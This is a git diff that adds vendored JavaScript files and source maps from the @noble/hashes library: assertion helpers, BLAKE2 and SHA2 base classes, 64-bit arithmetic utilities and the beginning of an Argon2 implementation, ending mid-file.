+{"version":3,"file":"eskdf.js","sourceRoot":"","sources":["src/eskdf.ts"],"names":[],"mappings":";;;AAAA,6CAAoD;AACpD,uCAAiC;AACjC,2CAAqC;AACrC,2CAAgD;AAChD,2CAAgD;AAChD,yCAAyE;AAEzE,wDAAwD;AACxD,gFAAgF;AAChF,sEAAsE;AAEtE,MAAM,aAAa,GAAG,CAAC,IAAI,EAAE,CAAC;AAC9B,MAAM,aAAa,GAAG,CAAC,IAAI,EAAE,CAAC;AAE9B,aAAa;AACb,SAAgB,MAAM,CAAC,QAAgB,EAAE,IAAY;IACnD,OAAO,IAAA,kBAAO,EAAC,QAAQ,EAAE,IAAI,EAAE,EAAE,CAAC,EAAE,aAAa,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,KAAK,EAAE,EAAE,EAAE,CAAC,CAAC;AAC9E,CAAC;AAFD,wBAEC;AAED,qBAAqB;AACrB,SAAgB,MAAM,CAAC,QAAgB,EAAE,IAAY;IACnD,OAAO,IAAA,kBAAO,EAAC,kBAAM,EAAE,QAAQ,EAAE,IAAI,EAAE,EAAE,CAAC,EAAE,aAAa,EAAE,KAAK,EAAE,EAAE,EAAE,CAAC,CAAC;AAC1E,CAAC;AAFD,wBAEC;AAED,mCAAmC;AACnC,SAAS,KAAK,CAAC,CAAa,EAAE,CAAa;IACzC,IAAA,kBAAW,EAAC,CAAC,EAAE,EAAE,CAAC,CAAC;IACnB,IAAA,kBAAW,EAAC,CAAC,EAAE,EAAE,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AAI,SAAS,IAAI,OAAO,CAAC,CAAC,CAAC,YAAY,CAAC,GAAG,EAAE,OAAO,CAAC,OAAO,CAAC,CAAC,CAAC,CAAC,GAAG,CAAC;IACpF,CAAC;IACD,SAAS,MAAM;QACb,IAAI,IAAI;YAAE,IAAI,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;QACvB,IAAI,GAAG,SAAS,CAAC;IACnB,CAAC;IACD,kBAAkB;IAClB,MAAM,WAAW,GAAG,KAAK,CAAC,IAAI,CAAC,QAAQ,CAAC,aAAa,EAAE,CAAC,CAAC,CAAC;SACvD,KAAK,CAAC,CAAC,EAAE,CAAC,CAAC;SACX,GAAG,CAAC,CAAC,IAAI,EAAE,EAAE,CAAC,IAAI,CAAC,QAAQ,CAAC,EAAE,CAAC,CAAC,QAAQ,CAAC,CAAC,EAAE,GAAG,CAAC,CAAC,WAAW,EAAE,CAAC;SAC/D,IAAI,CAAC,GAAG,CAAC,CAAC;IACb,OAAO,MAAM,CAAC,MAAM,CAAC,EAAE,cAAc,EAAE,QAAQ,EAAE,MAAM,EAAE,WAAW,EAAE,CAAC,CAAC;AAC1E,CAAC;AAvBD,sBAuBC"} \ No newline at end of file diff --git a/node_modules/@noble/hashes/esm/_assert.js b/node_modules/@noble/hashes/esm/_assert.js new file mode 100644 index 000000000000..4259cea04ee5 --- /dev/null +++ b/node_modules/@noble/hashes/esm/_assert.js @@ -0,0 +1,37 @@ +function number(n) { + if (!Number.isSafeInteger(n) || n < 0) + throw new Error(`Wrong positive integer: ${n}`); +} +function bool(b) { + if (typeof b !== 'boolean') + throw new Error(`Expected boolean, not ${b}`); +} +function bytes(b, ...lengths) { + if (!(b instanceof Uint8Array)) + throw new Error('Expected Uint8Array'); + if (lengths.length > 0 && !lengths.includes(b.length)) + throw new Error(`Expected Uint8Array of length ${lengths}, not of length=${b.length}`); +} +function hash(hash) { + if (typeof hash !== 'function' || typeof hash.create !== 'function') + throw new Error('Hash should be wrapped by utils.wrapConstructor'); + number(hash.outputLen); + number(hash.blockLen); +} +function exists(instance, checkFinished = true) { + if (instance.destroyed) + throw new Error('Hash instance has been destroyed'); + if (checkFinished && instance.finished) + throw new Error('Hash#digest() has already been called'); +} +function output(out, instance) { + bytes(out); + const min = instance.outputLen; + if (out.length < min) { + throw new Error(`digestInto() expects output buffer of length at least ${min}`); + } +} +export { number, bool, bytes, hash, exists, output }; +const assert = { number, bool, bytes, hash, exists, output }; +export default assert; +//# sourceMappingURL=_assert.js.map \ No newline at end of file diff --git a/node_modules/@noble/hashes/esm/_assert.js.map b/node_modules/@noble/hashes/esm/_assert.js.map new file mode 100644 index 000000000000..d8f294f71e8e --- /dev/null +++ b/node_modules/@noble/hashes/esm/_assert.js.map @@ -0,0 +1 @@ +{"version":3,"file":"_assert.js","sourceRoot":"","sources":["../src/_assert.ts"],"names":[],"mappings":"AAAA,SAAS,MAAM,CAAC,CAAS;IACvB,IAAI,CAAC,MAAM,CAAC,aAAa,CAAC,CAAC,CAAC,IAAI,CAAC,GAAG,CAAC;QAAE,MAAM,IAAI,KAAK,CAAC,2BAA2B,CAAC,EAAE,CAAC,CAAC;AACzF,CAAC;AAED,SAAS,IAAI,CAAC,CAAU;IACtB,IAAI,OAAO,CAAC,KAAK,SAAS;QAAE,MAAM,IAAI,KAAK,CAAC,yBAAyB,CAAC,EAAE,CAAC,CAAC;AAC5E,CAAC;AAED,SAAS,KAAK,CAAC,CAAyB,EAAE,GAAG,OAAiB;IAC5D,IAAI,CAAC,CAAC,CAAC,YAAY,UAAU,CAAC;QAAE,MAAM,IAAI,KAAK,CAAC,qBAAqB,CAAC,CAAC;IACvE,IAAI,OAAO,CAAC,MAAM,GAAG,CAAC,IAAI,CAAC,OAAO,CAAC,QAAQ,CAAC,CAAC,CAAC,MAAM,CAAC;QACnD,MAAM,IAAI,KAAK,CAAC,iCAAiC,OAAO,mBAAmB,CAAC,CAAC,MAAM,EAAE,CAAC,CAAC;AAC3F,CAAC;AAQD,SAAS,IAAI,CAAC,IAAU;IACtB,IAAI,OAAO,IAAI,KAAK,UAAU,IAAI,OAAO,IAAI,CAAC,MAAM,KAAK,UAAU;QACjE,MAAM,IAAI,KAAK,CAAC,iDAAiD,CAAC,CAAC;IACrE,MAAM,CAAC,IAAI,CAAC,SAAS,CAAC,CAAC;IACvB,MAAM,CAAC,IAAI,CAAC,QAAQ,CAAC,CAAC;AACxB,CAAC;AAED,SAAS,MAAM,CAAC,QAAa,EAAE,aAAa,GAAG,IAAI;IACjD,IAAI,QAAQ,CAAC,SAAS;QAAE,MAAM,IAAI,KAAK,CAAC,kCAAkC,CAAC,CAAC;IAC5E,IAAI,aAAa,IAAI,QAAQ,CAAC,QAAQ;QAAE,MAAM,IAAI,KAAK,CAAC,uCAAuC,CAAC,CAAC;AACnG,CAAC;AACD,SAAS,MAAM,CAAC,GAAQ,EAAE,QAAa;IACrC,KAAK,CAAC,GAAG,CAAC,CAAC;IACX,MAAM,GAAG,GAAG,QAAQ,CAAC,SAAS,CAAC;IAC/B,IAAI,GAAG,CAAC,MAAM,GAAG,GAAG,EAAE;QACpB,MAAM,IAAI,KAAK,CAAC,yDAAyD,GAAG,EAAE,CAAC,CAAC;KACjF;AACH,CAAC;AAED,OAAO,EAAE,MAAM,EAAE,IAAI,EAAE,KAAK,EAAE,IAAI,EAAE,MAAM,EAAE,MAAM,EAAE,CAAC;AAErD,MAAM,MAAM,GAAG,EAAE,MAAM,EAAE,IAAI,EAAE,KAAK,EAAE,IAAI,EAAE,MAAM,EAAE,MAAM,EAAE,CAAC;AAC7D,eAAe,MAAM,CAAC"} \ No newline at end of file diff --git a/node_modules/@noble/hashes/esm/_blake2.js b/node_modules/@noble/hashes/esm/_blake2.js new file mode 100644 index 000000000000..948e01b9687b --- /dev/null +++ b/node_modules/@noble/hashes/esm/_blake2.js @@ -0,0 +1,108 @@ +import { number, exists, output } from './_assert.js'; +import { Hash, toBytes, u32 } from './utils.js'; +// Blake is based on ChaCha permutation. +// For BLAKE2b, the two extra permutations for rounds 10 and 11 are SIGMA[10..11] = SIGMA[0..1]. +// prettier-ignore +export const SIGMA = /* @__PURE__ */ new Uint8Array([ + 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, + 14, 10, 4, 8, 9, 15, 13, 6, 1, 12, 0, 2, 11, 7, 5, 3, + 11, 8, 12, 0, 5, 2, 15, 13, 10, 14, 3, 6, 7, 1, 9, 4, + 7, 9, 3, 1, 13, 12, 11, 14, 2, 6, 5, 10, 4, 0, 15, 8, + 9, 0, 5, 7, 2, 4, 10, 15, 14, 1, 11, 12, 6, 8, 3, 13, + 2, 12, 6, 10, 0, 11, 8, 3, 4, 13, 7, 5, 15, 14, 1, 9, + 12, 5, 1, 15, 14, 13, 4, 10, 0, 7, 6, 3, 9, 2, 8, 11, + 13, 11, 7, 14, 12, 1, 3, 9, 5, 0, 15, 4, 8, 6, 2, 10, + 6, 15, 14, 9, 11, 3, 0, 8, 12, 2, 13, 7, 1, 4, 10, 5, + 10, 2, 8, 4, 7, 6, 1, 5, 15, 11, 9, 14, 3, 12, 13, 0, + 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, + 14, 10, 4, 8, 9, 15, 13, 6, 1, 12, 0, 2, 11, 7, 5, 3, +]); +export class BLAKE2 extends Hash { + constructor(blockLen, outputLen, opts = {}, keyLen, saltLen, persLen) { + super(); + this.blockLen = blockLen; + this.outputLen = outputLen; + this.length = 0; + this.pos = 0; + this.finished = false; + this.destroyed = false; + number(blockLen); + number(outputLen); + number(keyLen); + if (outputLen < 0 || outputLen > keyLen) + throw new Error('outputLen bigger than keyLen'); + if (opts.key !== undefined && (opts.key.length < 1 || opts.key.length > keyLen)) + throw new Error(`key must be up 1..${keyLen} byte long or undefined`); + if (opts.salt !== undefined && opts.salt.length !== saltLen) + throw new Error(`salt must be ${saltLen} byte long or undefined`); + if (opts.personalization !== undefined && opts.personalization.length !== persLen) + throw new Error(`personalization must be ${persLen} byte long or undefined`); + this.buffer32 = u32((this.buffer = new Uint8Array(blockLen))); + } + update(data) { + exists(this); + // Main difference with other hashes: there is flag for last block, + // so we cannot process current block before we know that there + // is the next one. This significantly complicates logic and reduces ability + // to do zero-copy processing + const { blockLen, buffer, buffer32 } = this; + data = toBytes(data); + const len = data.length; + const offset = data.byteOffset; + const buf = data.buffer; + for (let pos = 0; pos < len;) { + // If buffer is full and we still have input (don't process last block, same as blake2s) + if (this.pos === blockLen) { + this.compress(buffer32, 0, false); + this.pos = 0; + } + const take = Math.min(blockLen - this.pos, len - pos); + const dataOffset = offset + pos; + // full block && aligned to 4 bytes && not last in input + if (take === blockLen && !(dataOffset % 4) && pos + take < len) { + const data32 = new Uint32Array(buf, dataOffset, Math.floor((len - pos) / 4)); + for (let pos32 = 0; pos + blockLen < len; pos32 += buffer32.length, pos += blockLen) { + this.length += blockLen; + this.compress(data32, pos32, false); + } + continue; + } + buffer.set(data.subarray(pos, pos + take), this.pos); + this.pos += take; + this.length += take; + pos += take; + } + return this; + } + digestInto(out) { + exists(this); + output(out, this); + const { pos, buffer32 } = this; + this.finished = true; + // Padding + this.buffer.subarray(pos).fill(0); + this.compress(buffer32, 0, true); + const out32 = u32(out); + this.get().forEach((v, i) => (out32[i] = v)); + } + digest() { + const { buffer, outputLen } = this; + this.digestInto(buffer); + const res = buffer.slice(0, outputLen); + this.destroy(); + return res; + } + _cloneInto(to) { + const { buffer, length, finished, destroyed, outputLen, pos } = this; + to || (to = new this.constructor({ dkLen: outputLen })); + to.set(...this.get()); + to.length = length; + to.finished = finished; + to.destroyed = destroyed; + to.outputLen = outputLen; + to.buffer.set(buffer); + to.pos = pos; + return to; + } +} +//# sourceMappingURL=_blake2.js.map \ No newline at end of file diff --git a/node_modules/@noble/hashes/esm/_blake2.js.map b/node_modules/@noble/hashes/esm/_blake2.js.map new file mode 100644 index 000000000000..4222d0749f64 --- /dev/null +++ b/node_modules/@noble/hashes/esm/_blake2.js.map @@ -0,0 +1 @@ +{"version":3,"file":"_blake2.js","sourceR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I,CAAC;QACnC,IAAI,CAAC,UAAU,CAAC,MAAM,CAAC,CAAC;QACxB,MAAM,GAAG,GAAG,MAAM,CAAC,KAAK,CAAC,CAAC,EAAE,SAAS,CAAC,CAAC;QACvC,IAAI,CAAC,OAAO,EAAE,CAAC;QACf,OAAO,GAAG,CAAC;IACb,CAAC;IACD,UAAU,CAAC,EAAM;QACf,MAAM,EAAE,MAAM,EAAE,MAAM,EAAE,QAAQ,EAAE,SAAS,EAAE,SAAS,EAAE,GAAG,EAAE,GAAG,IAAI,CAAC;QACrE,EAAE,KAAF,EAAE,GAAK,IAAK,IAAI,CAAC,WAAmB,CAAC,EAAE,KAAK,EAAE,SAAS,EAAE,CAAM,EAAC;QAChE,EAAE,CAAC,GAAG,CAAC,GAAG,IAAI,CAAC,GAAG,EAAE,CAAC,CAAC;QACtB,EAAE,CAAC,MAAM,GAAG,MAAM,CAAC;QACnB,EAAE,CAAC,QAAQ,GAAG,QAAQ,CAAC;QACvB,EAAE,CAAC,SAAS,GAAG,SAAS,CAAC;QACzB,EAAE,CAAC,SAAS,GAAG,SAAS,CAAC;QACzB,EAAE,CAAC,MAAM,CAAC,GAAG,CAAC,MAAM,CAAC,CAAC;QACtB,EAAE,CAAC,GAAG,GAAG,GAAG,CAAC;QACb,OAAO,EAAE,CAAC;IACZ,CAAC;CACF"} \ No newline at end of file diff --git a/node_modules/@noble/hashes/esm/_sha2.js b/node_modules/@noble/hashes/esm/_sha2.js new file mode 100644 index 000000000000..cd26ea45a097 --- /dev/null +++ b/node_modules/@noble/hashes/esm/_sha2.js @@ -0,0 +1,114 @@ +import { exists, output } from './_assert.js'; +import { Hash, createView, toBytes } from './utils.js'; +// Polyfill for Safari 14 +function setBigUint64(view, byteOffset, value, isLE) { + if (typeof view.setBigUint64 === 'function') + return view.setBigUint64(byteOffset, value, isLE); + const _32n = BigInt(32); + const _u32_max = BigInt(0xffffffff); + const wh = Number((value >> _32n) & _u32_max); + const wl = Number(value & _u32_max); + const h = isLE ? 4 : 0; + const l = isLE ? 0 : 4; + view.setUint32(byteOffset + h, wh, isLE); + view.setUint32(byteOffset + l, wl, isLE); +} +// Base SHA2 class (RFC 6234) +export class SHA2 extends Hash { + constructor(blockLen, outputLen, padOffset, isLE) { + super(); + this.blockLen = blockLen; + this.outputLen = outputLen; + this.padOffset = padOffset; + this.isLE = isLE; + this.finished = false; + this.length = 0; + this.pos = 0; + this.destroyed = false; + this.buffer = new Uint8Array(blockLen); + this.view = createView(this.buffer); + } + update(data) { + exists(this); + const { view, buffer, blockLen } = this; + data = toBytes(data); + const len = data.length; + for (let pos = 0; pos < len;) { + const take = Math.min(blockLen - this.pos, len - pos); + // Fast path: we have at least one block in input, cast it to view and process + if (take === blockLen) { + const dataView = createView(data); + for (; blockLen <= len - pos; pos += blockLen) + this.process(dataView, pos); + continue; + } + buffer.set(data.subarray(pos, pos + take), this.pos); + this.pos += take; + pos += take; + if (this.pos === blockLen) { + this.process(view, 0); + this.pos = 0; + } + } + this.length += data.length; + this.roundClean(); + return this; + } + digestInto(out) { + exists(this); + output(out, this); + this.finished = true; + // Padding + // We can avoid allocation of buffer for padding completely if it + // was previously not allocated here. But it won't change performance. + const { buffer, view, blockLen, isLE } = this; + let { pos } = this; + // append the bit '1' to the message + buffer[pos++] = 0b10000000; + this.buffer.subarray(pos).fill(0); + // we have less than padOffset left in buffer, so we cannot put length in current block, need process it and pad again + if (this.padOffset > blockLen - pos) { + this.process(view, 0); + pos = 0; + } + // Pad until full block byte with zeros + for (let i = pos; i < blockLen; i++) + buffer[i] = 0; + // Note: sha512 requires length to be 128bit integer, but length in JS will overflow before that + // You need to write around 2 exabytes (u64_max / 8 / (1024**6)) for this to happen. + // So we just write lowest 64 bits of that value. + setBigUint64(view, blockLen - 8, BigInt(this.length * 8), isLE); + this.process(view, 0); + const oview = createView(out); + const len = this.outputLen; + // NOTE: we do division by 4 later, which should be fused in single op with modulo by JIT + if (len % 4) + throw new Error('_sha2: outputLen should be aligned to 32bit'); + const outLen = len / 4; + const state = this.get(); + if (outLen > state.length) + throw new Error('_sha2: outputLen bigger than state'); + for (let i = 0; i < outLen; i++) + oview.setUint32(4 * i, state[i], isLE); + } + digest() { + const { buffer, outputLen } = this; + this.digestInto(buffer); + const res = buffer.slice(0, outputLen); + this.destroy(); + return res; + } + _cloneInto(to) { + to || (to = new this.constructor()); + to.set(...this.get()); + const { blockLen, buffer, length, finished, destroyed, pos } = this; + to.length = length; + to.pos = pos; + to.finished = finished; + to.destroyed = destroyed; + if (length % blockLen) + to.buffer.set(buffer); + return to; + } +} +//# sourceMappingURL=_sha2.js.map \ No newline at end of file diff --git a/node_modules/@noble/hashes/esm/_sha2.js.map b/node_modules/@noble/hashes/esm/_sha2.js.map new file mode 100644 index 000000000000..1675e441f43d --- /dev/null +++ b/node_modules/@noble/hashes/esm/_sha2.js.map @@ -0,0 +1 @@ +{"version":3,"file":"_sha2.js","sourceRoot":"","sources":["../src/_sha2.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,MAAM,EAAE,MAAM,EAAE,MAAM,cAAc,CAAC;AAC9C,OAAO,EAAE,IAAI,EAAE,UAAU,EAAS,OAAO,EAAE,MAAM,YAAY,CAAC;AAE9D,yBAAyB;AACzB,SAAS,YAAY,CAAC,IAAc,EAAE,UAAkB,EAAE,KAAa,EAAE,IAAa;IACpF,IAAI,OAAO,IAAI,CAAC,YAAY,KAAK,UAAU;QAAE,OAAO,IAAI,CAAC,YAAY,CAAC,UAAU,EAAE,KAAK,EAAE,IAAI,CAAC,CAAC;IAC/F,MAAM,IAAI,GAAG,MAAM,CAAC,EAAE,CAAC,CAAC;IACxB,MAAM,QAAQ,GAAG,MAAM,CAAC,UAAU,CAAC,CAAC;IACpC,MAAM,EAAE,GAAG,MAAM,CAAC,CAAC,KAAK,IAAI,IAAI,CAAC,GAAG,QAAQ,CAAC,CAAC;IAC9C,MAAM,EAAE,GAAG,MAAM,CAAC,KAAK,GAAG,QAAQ,CAAC,CAAC;IACpC,MAAM,CAAC,GAAG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AI,CAAC;QACnC,IAAI,CAAC,UAAU,CAAC,MAAM,CAAC,CAAC;QACxB,MAAM,GAAG,GAAG,MAAM,CAAC,KAAK,CAAC,CAAC,EAAE,SAAS,CAAC,CAAC;QACvC,IAAI,CAAC,OAAO,EAAE,CAAC;QACf,OAAO,GAAG,CAAC;IACb,CAAC;IACD,UAAU,CAAC,EAAM;QACf,EAAE,KAAF,EAAE,GAAK,IAAK,IAAI,CAAC,WAAmB,EAAO,EAAC;QAC5C,EAAE,CAAC,GAAG,CAAC,GAAG,IAAI,CAAC,GAAG,EAAE,CAAC,CAAC;QACtB,MAAM,EAAE,QAAQ,EAAE,MAAM,EAAE,MAAM,EAAE,QAAQ,EAAE,SAAS,EAAE,GAAG,EAAE,GAAG,IAAI,CAAC;QACpE,EAAE,CAAC,MAAM,GAAG,MAAM,CAAC;QACnB,EAAE,CAAC,GAAG,GAAG,GAAG,CAAC;QACb,EAAE,CAAC,QAAQ,GAAG,QAAQ,CAAC;QACvB,EAAE,CAAC,SAAS,GAAG,SAAS,CAAC;QACzB,IAAI,MAAM,GAAG,QAAQ;YAAE,EAAE,CAAC,MAAM,CAAC,GAAG,CAAC,MAAM,CAAC,CAAC;QAC7C,OAAO,EAAE,CAAC;IACZ,CAAC;CACF"} \ No newline at end of file diff --git a/node_modules/@noble/hashes/esm/_u64.js b/node_modules/@noble/hashes/esm/_u64.js new file mode 100644 index 000000000000..66cce47e788c --- /dev/null +++ b/node_modules/@noble/hashes/esm/_u64.js @@ -0,0 +1,62 @@ +const U32_MASK64 = /* @__PURE__ */ BigInt(2 ** 32 - 1); +const _32n = /* @__PURE__ */ BigInt(32); +// We are not using BigUint64Array, because they are extremely slow as per 2022 +function fromBig(n, le = false) { + if (le) + return { h: Number(n & U32_MASK64), l: Number((n >> _32n) & U32_MASK64) }; + return { h: Number((n >> _32n) & U32_MASK64) | 0, l: Number(n & U32_MASK64) | 0 }; +} +function split(lst, le = false) { + let Ah = new Uint32Array(lst.length); + let Al = new Uint32Array(lst.length); + for (let i = 0; i < lst.length; i++) { + const { h, l } = fromBig(lst[i], le); + [Ah[i], Al[i]] = [h, l]; + } + return [Ah, Al]; +} +const toBig = (h, l) => (BigInt(h >>> 0) << _32n) | BigInt(l >>> 0); +// for Shift in [0, 32) +const shrSH = (h, _l, s) => h >>> s; +const shrSL = (h, l, s) => (h << (32 - s)) | (l >>> s); +// Right rotate for Shift in [1, 32) +const rotrSH = (h, l, s) => (h >>> s) | (l << (32 - s)); +const rotrSL = (h, l, s) => (h << (32 - s)) | (l >>> s); +// Right rotate for Shift in (32, 64), NOTE: 32 is special case. +const rotrBH = (h, l, s) => (h << (64 - s)) | (l >>> (s - 32)); +const rotrBL = (h, l, s) => (h >>> (s - 32)) | (l << (64 - s)); +// Right rotate for shift===32 (just swaps l&h) +const rotr32H = (_h, l) => l; +const rotr32L = (h, _l) => h; +// Left rotate for Shift in [1, 32) +const rotlSH = (h, l, s) => (h << s) | (l >>> (32 - s)); +const rotlSL = (h, l, s) => (l << s) | (h >>> (32 - s)); +// Left rotate for Shift in (32, 64), NOTE: 32 is special case. +const rotlBH = (h, l, s) => (l << (s - 32)) | (h >>> (64 - s)); +const rotlBL = (h, l, s) => (h << (s - 32)) | (l >>> (64 - s)); +// JS uses 32-bit signed integers for bitwise operations which means we cannot +// simple take carry out of low bit sum by shift, we need to use division. +function add(Ah, Al, Bh, Bl) { + const l = (Al >>> 0) + (Bl >>> 0); + return { h: (Ah + Bh + ((l / 2 ** 32) | 0)) | 0, l: l | 0 }; +} +// Addition with more than 2 elements +const add3L = (Al, Bl, Cl) => (Al >>> 0) + (Bl >>> 0) + (Cl >>> 0); +const add3H = (low, Ah, Bh, Ch) => (Ah + Bh + Ch + ((low / 2 ** 32) | 0)) | 0; +const add4L = (Al, Bl, Cl, Dl) => (Al >>> 0) + (Bl >>> 0) + (Cl >>> 0) + (Dl >>> 0); +const add4H = (low, Ah, Bh, Ch, Dh) => (Ah + Bh + Ch + Dh + ((low / 2 ** 32) | 0)) | 0; +const add5L = (Al, Bl, Cl, Dl, El) => (Al >>> 0) + (Bl >>> 0) + (Cl >>> 0) + (Dl >>> 0) + (El >>> 0); +const add5H = (low, Ah, Bh, Ch, Dh, Eh) => (Ah + Bh + Ch + Dh + Eh + ((low / 2 ** 32) | 0)) | 0; +// prettier-ignore +export { fromBig, split, toBig, shrSH, shrSL, rotrSH, rotrSL, rotrBH, rotrBL, rotr32H, rotr32L, rotlSH, rotlSL, rotlBH, rotlBL, add, add3L, add3H, add4L, add4H, add5H, add5L, }; +// prettier-ignore +const u64 = { + fromBig, split, toBig, + shrSH, shrSL, + rotrSH, rotrSL, rotrBH, rotrBL, + rotr32H, rotr32L, + rotlSH, rotlSL, rotlBH, rotlBL, + add, add3L, add3H, add4L, add4H, add5H, add5L, +}; +export default u64; +//# sourceMappingURL=_u64.js.map \ No newline at end of file diff --git a/node_modules/@noble/hashes/esm/_u64.js.map b/node_modules/@noble/hashes/esm/_u64.js.map new file mode 100644 index 000000000000..b2339ed71434 --- /dev/null +++ b/node_modules/@noble/hashes/esm/_u64.js.map @@ -0,0 +1 @@ +{"version":3,"file":"_u64.js","sourceRoot":"","sources":["../src/_u64.ts"],"names":[],"mappings":"AAAA,MAAM,UAAU,GAAG,eAAe,CAAC,MAAM,CAAC,CAAC,IAAI,EAAE,GAAG,CAAC,CAAC,CAAC;AACvD,MAAM,IAAI,GAAG,eAAe,CAAC,MAAM,CAAC,EAAE,CAAC,CAAC;AAExC,+EAA+E;AAC/E,SAAS,OAAO,CAAC,CAAS,EAAE,EAAE,GAAG,KAAK;IACpC,IAAI,EAAE;QAAE,OAAO,EAAE,CAAC,EAAE,MAAM,CAAC,CAAC,GAAG,UAAU,CAAC,EAAE,CAAC,EAAE,MAAM,CAAC,CAAC,CAAC,IAAI,IAAI,CAAC,GAAG,UAAU,CAAC,EAAE,CAAC;IAClF,OAAO,EAAE,CAAC,EAAE,MAAM,CAAC,CAAC,CAAC,IAAI,IAAI,CAAC,GAAG,UAAU,CAAC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E,MAAM,EAAE,MAAM,EAC9B,GAAG,EAAE,KAAK,EAAE,KAAK,EAAE,KAAK,EAAE,KAAK,EAAE,KAAK,EAAE,KAAK,GAC9C,CAAC;AACF,kBAAkB;AAClB,MAAM,GAAG,GAAG;IACV,OAAO,EAAE,KAAK,EAAE,KAAK;IACrB,KAAK,EAAE,KAAK;IACZ,MAAM,EAAE,MAAM,EAAE,MAAM,EAAE,MAAM;IAC9B,OAAO,EAAE,OAAO;IAChB,MAAM,EAAE,MAAM,EAAE,MAAM,EAAE,MAAM;IAC9B,GAAG,EAAE,KAAK,EAAE,KAAK,EAAE,KAAK,EAAE,KAAK,EAAE,KAAK,EAAE,KAAK;CAC9C,CAAC;AACF,eAAe,GAAG,CAAC"} \ No newline at end of file diff --git a/node_modules/@noble/hashes/esm/argon2.js b/node_modules/@noble/hashes/esm/argon2.js new file mode 100644 index 000000000000..1e5a6b086a2e --- /dev/null +++ b/node_modules/@noble/hashes/esm/argon2.js @@ -0,0 +1,297 @@ +import { number as assertNumber } from './_assert.js'; +import { toBytes, u8, u32 } from './utils.js'; +import { blake2b } from './blake2b.js'; +import { add3H, add3L, rotr32H, rotr32L, rotrBH, rotrBL, rotrSH, rotrSL } from './_u64.js'; +const ARGON2_SYNC_POINTS = 4; +const toBytesOptional = (buf) => (buf !== undefined ? toBytes(buf) : new Uint8Array([])); +function mul(a, b) { + const aL = a & 0xffff; + const aH = a >>> 16; + const bL = b & 0xffff; + const bH = b >>> 16; + const ll = Math.imul(aL, bL); + const hl = Math.imul(aH, bL); + const lh = Math.imul(aL, bH); + const hh = Math.imul(aH, bH); + const BUF = ((ll >>> 16) + (hl & 0xffff) + lh) | 0; + const h = ((hl >>> 16) + (BUF >>> 16) + hh) | 0; + return { h, l: (BUF << 16) | (ll & 0xffff) }; +} +function relPos(areaSize, relativePos) { + // areaSize - 1 - ((areaSize * ((relativePos ** 2) >>> 32)) >>> 32) + return areaSize - 1 - mul(areaSize, mul(relativePos, relativePos).h).h; +} +function mul2(a, b) { + // 2 * a * b (via shifts) + const { h, l } = mul(a, b); + return { h: ((h << 1) | (l >>> 31)) & 4294967295, l: (l << 1) & 4294967295 }; +} +function blamka(Ah, Al, Bh, Bl) { + const { h: Ch, l: Cl } = mul2(Al, Bl); + // A + B + (2 * A * B) + const Rll = add3L(Al, Bl, Cl); + return { h: add3H(Rll, Ah, Bh, Ch), l: Rll | 0 }; +} +// Temporary block buffer +const BUF = new Uint32Array(256); +function G(a, b, c, d) { + let Al = BUF[2 * a], Ah = BUF[2 * a + 1]; // prettier-ignore + let Bl = BUF[2 * b], Bh = BUF[2 * b + 1]; // prettier-ignore + let Cl = BUF[2 * c], Ch = BUF[2 * c + 1]; // prettier-ignore + let Dl = BUF[2 * d], Dh = BUF[2 * d + 1]; // prettier-ignore + ({ h: Ah, l: Al } = blamka(Ah, Al, Bh, Bl)); + ({ Dh, Dl } = { Dh: Dh ^ Ah, Dl: Dl ^ Al }); + ({ Dh, Dl } = { Dh: rotr32H(Dh, Dl), Dl: rotr32L(Dh, Dl) }); + ({ h: Ch, l: Cl } = blamka(Ch, Cl, Dh, Dl)); + ({ Bh, Bl } = { Bh: Bh ^ Ch, Bl: Bl ^ Cl }); + ({ Bh, Bl } = { Bh: rotrSH(Bh, Bl, 24), Bl: rotrSL(Bh, Bl, 24) }); + ({ h: Ah, l: Al } = blamka(Ah, Al, Bh, Bl)); + ({ Dh, Dl } = { Dh: Dh ^ Ah, Dl: Dl ^ Al }); + ({ Dh, Dl } = { Dh: rotrSH(Dh, Dl, 16), Dl: rotrSL(Dh, Dl, 16) }); + ({ h: Ch, l: Cl } = blamka(Ch, Cl, Dh, Dl)); + ({ Bh, Bl } = { Bh: Bh ^ Ch, Bl: Bl ^ Cl }); + ({ Bh, Bl } = { Bh: rotrBH(Bh, Bl, 63), Bl: rotrBL(Bh, Bl, 63) }); + (BUF[2 * a] = Al), (BUF[2 * a + 1] = Ah); + (BUF[2 * b] = Bl), (BUF[2 * b + 1] = Bh); + (BUF[2 * c] = Cl), (BUF[2 * c + 1] = Ch); + (BUF[2 * d] = Dl), (BUF[2 * d + 1] = Dh); +} +// prettier-ignore +function P(v00, v01, v02, v03, v04, v05, v06, v07, v08, v09, v10, v11, v12, v13, v14, v15) { + G(v00, v04, v08, v12); + G(v01, v05, v09, v13); + G(v02, v06, v10, v14); + G(v03, v07, v11, v15); + G(v00, v05, v10, v15); + G(v01, v06, v11, v12); + G(v02, v07, v08, v13); + G(v03, v04, v09, v14); +} +function block(x, xPos, yPos, outPos, needXor) { + for (let i = 0; i < 256; i++) + BUF[i] = x[xPos + i] ^ x[yPos + i]; + // columns + for (let i = 0; i < 128; i += 16) { + // prettier-ignore + P(i, i + 1, i + 2, i + 3, i + 4, i + 5, i + 6, i + 7, i + 8, i + 9, i + 10, i + 11, i + 12, i + 13, i + 14, i + 15); + } + // rows + for (let i = 0; i < 16; i += 2) { + // prettier-ignore + P(i, i + 1, i + 16, i + 17, i + 32, i + 33, i + 48, i + 49, i + 64, i + 65, i + 80, i + 81, i + 96, i + 97, i + 112, i + 113); + } + if (needXor) + for (let i = 0; i < 256; i++) + x[outPos + i] ^= BUF[i] ^ x[xPos + i] ^ x[yPos + i]; + else + for (let i = 0; i < 256; i++) + x[outPos + i] = BUF[i] ^ x[xPos + i] ^ x[yPos + i]; +} +// Variable-Length Hash Function H' +function Hp(A, dkLen) { + const A8 = u8(A); + const T = new Uint32Array(1); + const T8 = u8(T); + T[0] = dkLen; + // Fast path + if (dkLen <= 64) + return blake2b.create({ dkLen }).update(T8).update(A8).digest(); + const out = new Uint8Array(dkLen); + let V = blake2b.create({}).update(T8).update(A8).digest(); + let pos = 0; + // First block + out.set(V.subarray(0, 32)); + pos += 32; + // Rest blocks + for (; dkLen - pos > 64; pos += 32) + out.set((V = 